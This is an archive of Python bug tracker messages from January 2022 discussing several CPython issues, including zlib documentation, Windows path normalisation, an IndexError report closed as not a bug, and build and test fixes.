17:41:04 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Fri, 07 Jan 2022 22:41:04 +0000 Subject: [issue46300] zlib.compress level and wbits args are shown as keyword-only in the documentation Message-ID: <1641595264.66.0.339861484052.issue46300@roundup.psfhosted.org> New submission from Andrei Kulakov : zlib.compress level and wbits args are shown as keyword-only in the documentation, however they are accepted as positional without error. Should the docs or the code be fixed? ---------- messages: 410051 nosy: andrei.avk priority: low severity: normal status: open title: zlib.compress level and wbits args are shown as keyword-only in the documentation type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:41:21 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Fri, 07 Jan 2022 22:41:21 +0000 Subject: [issue46300] zlib.compress level and wbits args are shown as keyword-only in the documentation In-Reply-To: <1641595264.66.0.339861484052.issue46300@roundup.psfhosted.org> Message-ID: <1641595281.2.0.444791510148.issue46300@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:42:21 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 22:42:21 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641595341.39.0.122422670362.issue46297@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:45:48 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 22:45:48 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641595548.11.0.317293615345.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: I hard forgotten this bit in the email thread: Serhiy: What do you think about -hh (and maybe ?help-full) printing full help? Guidp: Is there enough of a use case for this to bother? Barry: Maybe not. I?d say if it was easy to implement, why not, but if it?s a pain, don't bother. The option parsing code is easy to edit, and the function would only need to call the other usage functions with a blank line inbetween. Should I add it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:53:32 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 Jan 2022 22:53:32 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641596012.58.0.842297849354.issue46289@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:15:32 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 23:15:32 +0000 Subject: [issue46301] One branch is not covered in `Enum._convert_` Message-ID: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> New submission from Nikita Sobolev : This branch is never covered: https://github.com/python/cpython/blob/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/enum.py#L831 I will send a PR in a moment :) ---------- components: Tests messages: 410053 nosy: sobolevn priority: normal severity: normal status: open title: One branch is not covered in `Enum._convert_` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:16:32 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 23:16:32 +0000 Subject: [issue46301] One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641597392.38.0.181848279333.issue46301@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28675 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30472 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:22:02 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 23:22:02 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641597722.39.0.301783192965.issue46217@roundup.psfhosted.org> Change by Steve Dower : ---------- keywords: +patch pull_requests: +28676 stage: backport needed -> patch review pull_request: https://github.com/python/cpython/pull/30473 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:22:39 2022 From: report at bugs.python.org (Pierre Fortin) Date: Fri, 07 Jan 2022 23:22:39 +0000 Subject: [issue46302] IndexError inside list comprehension + workaround Message-ID: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> New submission from Pierre Fortin : var = "u2" var.strip()[0] Works as expected, except that it returns IndexError (instead of "u") if used in a list comprehension -- at least, that's where I found it. Attached example script illustrates the issue. Call it with "mytest N" where N is 1 (fails), 2 (works), 3 (fails). mytest 1 -- KeyError expected; this was due to infile design change adding a digit to previously single char code mytest 2 -- workaround to actual issue in next test mytest 3 -- adding [0] fails when used in list comprehension ---------- components: Interpreter Core files: mytest messages: 410054 nosy: NetAlien priority: normal severity: normal status: open title: IndexError inside list comprehension + workaround type: behavior versions: Python 3.8 Added file: https://bugs.python.org/file50548/mytest _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:34:16 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 23:34:16 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641598456.89.0.19860035223.issue46237@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Please Andre and Terry, test this fix as much as you want. I am quite sure is correct, but it is far-reaching so I want to make sure every situation that we can think of is correct (and remains correct). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 18:58:47 2022 From: report at bugs.python.org (neonene) Date: Fri, 07 Jan 2022 23:58:47 +0000 Subject: [issue46287] UNC path normalisation issues on Windows In-Reply-To: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> Message-ID: <1641599927.66.0.339561742916.issue46287@roundup.psfhosted.org> neonene added the comment: Regarding https://github.com/python/cpython/pull/30362#issuecomment-1005496892 _Py_abspath/_getfullpathname does not always call GetFullPathNameW on 3.11. Python 3.10.1 >>> nt._getfullpathname('\\\\.\\C:////spam////eggs. . .') '\\\\.\\C:\\spam\\eggs' Python 3.11.0a3 >>> nt._getfullpathname('\\\\.\\C:////spam////eggs. . .') '\\\\.\\C:////spam////eggs. . .' ---------- nosy: +neonene _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:04:17 2022 From: report at bugs.python.org (Gregor Titze) Date: Sat, 08 Jan 2022 00:04:17 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641600257.06.0.126247586525.issue46291@roundup.psfhosted.org> Gregor Titze added the comment: Andre: You mention that user-defined exceptions should inherit from Exception. This is totally right and explicitly stated just a bit later in 8.6 on the same page of the tutorial. I think this perfectly covers this concern . However, the paragraph I refer to explains the raise statement and as stated in the reference, the raise statement must be followed by a class or instance derived from BaseException. Thus, I think it would just be accurate and people reading on don't stumble over this difference as I did. Regarding the mentioned wildcard: I think it wouldn't be a real wildcard anymore if it didn't catch ALL exceptions. Anyway the tutorial states that it needs to be used with extreme caution and the example re-raises the error. Irit: Yes I am happy provide a patch. I would also correct the other two issues you mentioned. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:07:00 2022 From: report at bugs.python.org (Steve Dower) Date: Sat, 08 Jan 2022 00:07:00 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641600420.52.0.595432962671.issue46217@roundup.psfhosted.org> Steve Dower added the comment: New changeset d81182b8ec3b1593daf241d44757a9fa68fd14cc by Steve Dower in branch 'main': bpo-46217: Revert use of Windows constant that is newer than what we support (GH-30473) https://github.com/python/cpython/commit/d81182b8ec3b1593daf241d44757a9fa68fd14cc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:07:13 2022 From: report at bugs.python.org (Steve Dower) Date: Sat, 08 Jan 2022 00:07:13 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641600433.16.0.684558625453.issue46217@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:12:11 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 Jan 2022 00:12:11 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641600731.13.0.803071748.issue46006@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:13:32 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 Jan 2022 00:13:32 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641600812.24.0.767000263878.issue46237@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I did some testing on my own using a code generator and a bunch of weird cases and I am confident this works. I am going to include this in the next alpha but will wait for your validation for some days before merging the backports. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:22:27 2022 From: report at bugs.python.org (Gregor Titze) Date: Sat, 08 Jan 2022 00:22:27 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641601347.34.0.967003764381.issue46291@roundup.psfhosted.org> Gregor Titze added the comment: Irit: I would move the paragraph starting with "The except clause may specify a variable after the exception name ..." and the following example before the paragraph starting with "All exceptions inherit from BaseException, and so it can be used to serve as a wildcard ..." Or did you have another position in mind? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:23:48 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 08 Jan 2022 00:23:48 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641601428.1.0.105875283367.issue46237@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 6fa8b2ceee38187b0ae96aee12fe4f0a5c8a2ce7 by Pablo Galindo Salgado in branch 'main': bpo-46237: Fix the line number of tokenizer errors inside f-strings (GH-30463) https://github.com/python/cpython/commit/6fa8b2ceee38187b0ae96aee12fe4f0a5c8a2ce7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:23:52 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 00:23:52 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641601432.97.0.856109325366.issue46237@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28677 pull_request: https://github.com/python/cpython/pull/30474 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:41:55 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 08 Jan 2022 00:41:55 +0000 Subject: [issue46302] IndexError inside list comprehension + workaround In-Reply-To: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> Message-ID: <1641602515.96.0.262900218565.issue46302@roundup.psfhosted.org> Steven D'Aprano added the comment: > it returns IndexError (instead of "u") if used in a list comprehension Works as expected inside a list comprehension: >>> var = "u2" >>> [var.strip()[0] for i in range(2)] ['u', 'u'] >>> ["ok" for i in range(2) if var.strip()[0] == "u"] ['ok', 'ok'] I am 99.99% certain that you have a bug in your code, but your code is so complicated that it is not obvious at a glance where the bug is. I am strongly tempted to just close this as "Works for me" and tell you to come back and re-open the bug report when you have isolated the issue to a simpler case, but I will resist the temptation for now. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:42:37 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 08 Jan 2022 00:42:37 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641602557.86.0.607679199734.issue46217@roundup.psfhosted.org> Terry J. Reedy added the comment: Thank you. Compiles without even any warnings. Tests also all pass. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:47:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 08 Jan 2022 00:47:59 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641602879.76.0.678235155229.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: Make a PR and we can then tweak it via code reviews, it will be easier. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 19:56:33 2022 From: report at bugs.python.org (Aleksandr Krymskiy) Date: Sat, 08 Jan 2022 00:56:33 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641603393.34.0.790464003748.issue46226@roundup.psfhosted.org> Aleksandr Krymskiy added the comment: I did not find install logs in my user %TEMP% or C:\Windows\Temp. I did select "install for all users" during setup just like I always do, but I did not override the default location of "C:\Program Files\Python310". I attached screenshots of the options selected during setup. ---------- Added file: https://bugs.python.org/file50549/py_install_options.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:10:03 2022 From: report at bugs.python.org (Stefan Pochmann) Date: Sat, 08 Jan 2022 01:10:03 +0000 Subject: [issue46302] IndexError inside list comprehension + workaround In-Reply-To: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> Message-ID: <1641604203.27.0.877287555456.issue46302@roundup.psfhosted.org> Stefan Pochmann added the comment: The error occurs when you do code.strip()[0] when code is " ", not "u2". ---------- nosy: +Stefan Pochmann _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:11:35 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 08 Jan 2022 01:11:35 +0000 Subject: [issue46302] IndexError inside list comprehension + workaround In-Reply-To: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> Message-ID: <1641604295.19.0.148339461247.issue46302@roundup.psfhosted.org> Steven D'Aprano added the comment: Your functions test1 and test2 are irrelevant to the bug report. The driver code using eval() to pick which function to call is unneeded. The business of simulating a file is complexity for no purpose. Those ignore, count, unique functions are also irrelevant. Removing all the irrelevant and extraneous complexity that obfuscates the problem, we get to two lines of simplified code sufficient to demonstrate the issue: each = "name = " [code.strip()[0] for func, code in [each.split('=')]] which sure enough raises IndexError. The hint was looking at your fix() function, which made it clear that you are getting an IndexError because the string is an empty string. Well of course you do, that is expected behaviour. Why do you get an empty string? Because you split the line "name = " on the equals sign, giving func = "name " code = " " then you strip the whitespace from code giving: code = "" then you try to extract the first character of code using code[0], which raises IndexError, because that's what it is supposed to do. So there is no bug here, Python is working correctly. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:23:03 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 08 Jan 2022 01:23:03 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641604983.61.0.788463757853.issue46301@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +ethan.furman title: One branch is not covered in `Enum._convert_` -> Enum tests: One branch is not covered in `Enum._convert_` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:39:03 2022 From: report at bugs.python.org (Eryk Sun) Date: Sat, 08 Jan 2022 01:39:03 +0000 Subject: [issue46287] UNC path normalisation issues on Windows In-Reply-To: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> Message-ID: <1641605943.25.0.22009088015.issue46287@roundup.psfhosted.org> Eryk Sun added the comment: > _Py_abspath/_getfullpathname does not always call GetFullPathNameW on 3.11. Also, PathCchSkipRoot() doesn't recognize forward slash as a path separator, so _Py_isabs() is wrong in many cases compared to the same path that uses backslash as the path separator. For example, _Py_isabs() wrongly returns false in the following cases, so GetFullPathNameW() is called, and ironically the misbehavior of _Py_isabs() leads to the correct result. >>> os.path.abspath('//spam//eggs. . .') '\\\\spam\\eggs' >>> os.path.abspath('C:/spam. . .') 'C:\\spam' >>> os.path.abspath('C:/nul') '\\\\.\\nul' _Py_isabs() returns true in the following cases, so only normpath() is called: >>> os.path.abspath(r'\\spam\\eggs. . .') '\\\\spam\\\\eggs. . .' >>> os.path.abspath('C:\\spam. . .') 'C:\\spam. . .' >>> os.path.abspath('C:\\nul') 'C:\\nul' As the above shows, normpath() doesn't remove trailing dots and spaces from the last component of a path, and it doesn't special case DOS devices in the last component of a drive-letter path. The latter is still implemented for the NUL device in Windows 11 and implemented for all DOS devices in Windows 8.1 and 10 (e.g. CON, CONIN$, CONOUT$, AUX, PRN, COM<1-9>, LPT<1-9>). I would prefer to remove the _Py_isabs() check from _Py_abspath() in Windows, unless there's a strong case for startup performance, in which case I'd prefer to revert the change to nt._getfullpathname() and only use _Py_abspath() during startup. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:48:50 2022 From: report at bugs.python.org (Ethan Furman) Date: Sat, 08 Jan 2022 01:48:50 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641606530.7.0.0136390828778.issue46301@roundup.psfhosted.org> Change by Ethan Furman : ---------- assignee: -> ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:49:49 2022 From: report at bugs.python.org (Ethan Furman) Date: Sat, 08 Jan 2022 01:49:49 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641606589.01.0.102034236358.issue46301@roundup.psfhosted.org> Ethan Furman added the comment: Alex, thanks for nosying me. Go ahead and make Enum issues assigned to me as well. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 20:51:15 2022 From: report at bugs.python.org (Eryk Sun) Date: Sat, 08 Jan 2022 01:51:15 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641606675.59.0.671569958163.issue46226@roundup.psfhosted.org> Eryk Sun added the comment: Were you upgrading an existing installation of Python 3.10? Did it actually install in "C:\Program Files\Python310"? Is Python currently installed in per-user "%LocalAppData%\Programs\Python\Python310"? Was it ever installed there? ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 21:11:38 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 08 Jan 2022 02:11:38 +0000 Subject: [issue46300] zlib.compress level and wbits args are shown as keyword-only in the documentation In-Reply-To: <1641595264.66.0.339861484052.issue46300@roundup.psfhosted.org> Message-ID: <1641607898.46.0.172065537093.issue46300@roundup.psfhosted.org> Andrei Kulakov added the comment: I forgot that '/' marks end of positional-only args, not keyword-only. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 22:48:20 2022 From: report at bugs.python.org (Tim Peters) Date: Sat, 08 Jan 2022 03:48:20 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641613700.26.0.986088780168.issue46235@roundup.psfhosted.org> Tim Peters added the comment: New changeset ad1d5908ada171eff768291371a80022bfad4f04 by Dennis Sweeney in branch 'main': bpo-46235: Do all ref-counting at once during list/tuple multiplication (GH-30346) https://github.com/python/cpython/commit/ad1d5908ada171eff768291371a80022bfad4f04 ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 22:48:43 2022 From: report at bugs.python.org (Paul Campbell) Date: Sat, 08 Jan 2022 03:48:43 +0000 Subject: [issue46303] _Py_stat using incorrect type for status argument Message-ID: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> New submission from Paul Campbell : While attempting to embed the full cpython source in my application, I found that during compilation on Windows, there was a compilation issue due to struct stat not being defined. Taking a look at the file cpython/fileutils.h, it seems that the type of the status argument should be _Py_stat_struct instead of just stat to satisfy compilation for all supported platforms. ---------- messages: 410073 nosy: pacampbell priority: normal severity: normal status: open title: _Py_stat using incorrect type for status argument versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 22:49:35 2022 From: report at bugs.python.org (Tim Peters) Date: Sat, 08 Jan 2022 03:49:35 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641613775.54.0.354382424361.issue46235@roundup.psfhosted.org> Change by Tim Peters : ---------- assignee: -> Dennis Sweeney resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 22:51:54 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 08 Jan 2022 03:51:54 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641613914.64.0.821584541074.issue46299@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset e63066cfed27511c9b786d61761f87f7a532571a by Nikita Sobolev in branch 'main': bpo-46299: improve `test_descr.py` with stricter error handling (GH-30471) https://github.com/python/cpython/commit/e63066cfed27511c9b786d61761f87f7a532571a ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:06:53 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 08 Jan 2022 04:06:53 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641614813.14.0.953319601399.issue46299@roundup.psfhosted.org> Change by Dong-hee Na : ---------- pull_requests: +28678 pull_request: https://github.com/python/cpython/pull/30475 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:09:44 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 08 Jan 2022 04:09:44 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code Message-ID: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> New submission from Jason R. Coombs : I'd like to be able to do something pretty fundamental: lazily load lines from a file in a single expression. Best I can tell, that's not possible in the language without triggering warnings. One can use 'open' but that triggers a ResourceWarning: ``` $ $PYTHONWARNINGS='error' python -c "lines = open('/dev/null'); tuple(lines)" Exception ignored in: <_io.FileIO name='/dev/null' mode='rb' closefd=True> ResourceWarning: unclosed file <_io.TextIOWrapper name='/dev/null' mode='r' encoding='UTF-8'> ``` One can use a `with` statement, but that requires a block of code and can't be written easily in a single expression. One can use `pathlib.Path.read_text().splitlines()`, but that loads the whole file into memory. This issue affected the pip-run project, which required 5 new lines in order to make such an expression possible (https://github.com/jaraco/pip-run/commit/e2f395d8814539e1da467ac09295922d8ccaf14d). Can the standard library supply a function or method that would provide this behavior? ---------- components: Library (Lib) messages: 410075 nosy: jaraco priority: normal severity: normal status: open title: Unable to iterate over lines in a file without a block of code versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:12:44 2022 From: report at bugs.python.org (Paul Campbell) Date: Sat, 08 Jan 2022 04:12:44 +0000 Subject: [issue46303] _Py_stat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641615164.3.0.022020979801.issue46303@roundup.psfhosted.org> Change by Paul Campbell : ---------- components: +Build, Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware type: -> compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:14:56 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 04:14:56 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641615296.44.0.868153012263.issue46299@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28679 pull_request: https://github.com/python/cpython/pull/30476 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:15:01 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 04:15:01 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641615301.13.0.722084249439.issue46299@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28680 pull_request: https://github.com/python/cpython/pull/30477 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 23:56:17 2022 From: report at bugs.python.org (Paul Campbell) Date: Sat, 08 Jan 2022 04:56:17 +0000 Subject: [issue46303] _Py_stat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641617777.89.0.0391590832849.issue46303@roundup.psfhosted.org> Change by Paul Campbell : ---------- keywords: +patch pull_requests: +28681 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30478 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 00:02:36 2022 From: report at bugs.python.org (Paul Campbell) Date: Sat, 08 Jan 2022 05:02:36 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641618156.59.0.400786598332.issue46303@roundup.psfhosted.org> Change by Paul Campbell : ---------- title: _Py_stat using incorrect type for status argument -> _Py_stat and _Py_wstat using incorrect type for status argument _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 00:26:22 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 05:26:22 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641619582.84.0.797351077832.issue46299@roundup.psfhosted.org> miss-islington added the comment: New changeset 566d70a8d1c1afb8e770068f1686f762a1e343b9 by Miss Islington (bot) in branch '3.9': bpo-46299: improve `test_descr.py` with stricter error handling (GH-30471) https://github.com/python/cpython/commit/566d70a8d1c1afb8e770068f1686f762a1e343b9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 00:26:22 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 05:26:22 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641619582.84.0.797351077832.issue46299@roundup.psfhosted.org> miss-islington added the comment: New changeset 566d70a8d1c1afb8e770068f1686f762a1e343b9 by Miss Islington (bot) in branch '3.9': bpo-46299: improve `test_descr.py` with stricter error handling (GH-30471) https://github.com/python/cpython/commit/566d70a8d1c1afb8e770068f1686f762a1e343b9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 00:26:22 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 05:26:22 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641619582.98.0.821585119117.issue46299@roundup.psfhosted.org> miss-islington added the comment: New changeset d2245cf190c36a6d74fe947bf133ce09d3313a6f by Miss Islington (bot) in branch '3.10': bpo-46299: improve `test_descr.py` with stricter error handling (GH-30471) https://github.com/python/cpython/commit/d2245cf190c36a6d74fe947bf133ce09d3313a6f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 01:54:56 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 06:54:56 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641624896.4.0.599719714282.issue46304@roundup.psfhosted.org> Eric V. Smith added the comment: Hi, Jason. How about: >>> from pathlib import Path >>> Path("foo.txt").read_text().splitlines() ['how', 'now', 'brown', 'cow'] Not the most elegant thing, I'll admit. ---------- nosy: +eric.smith _______________________________________ 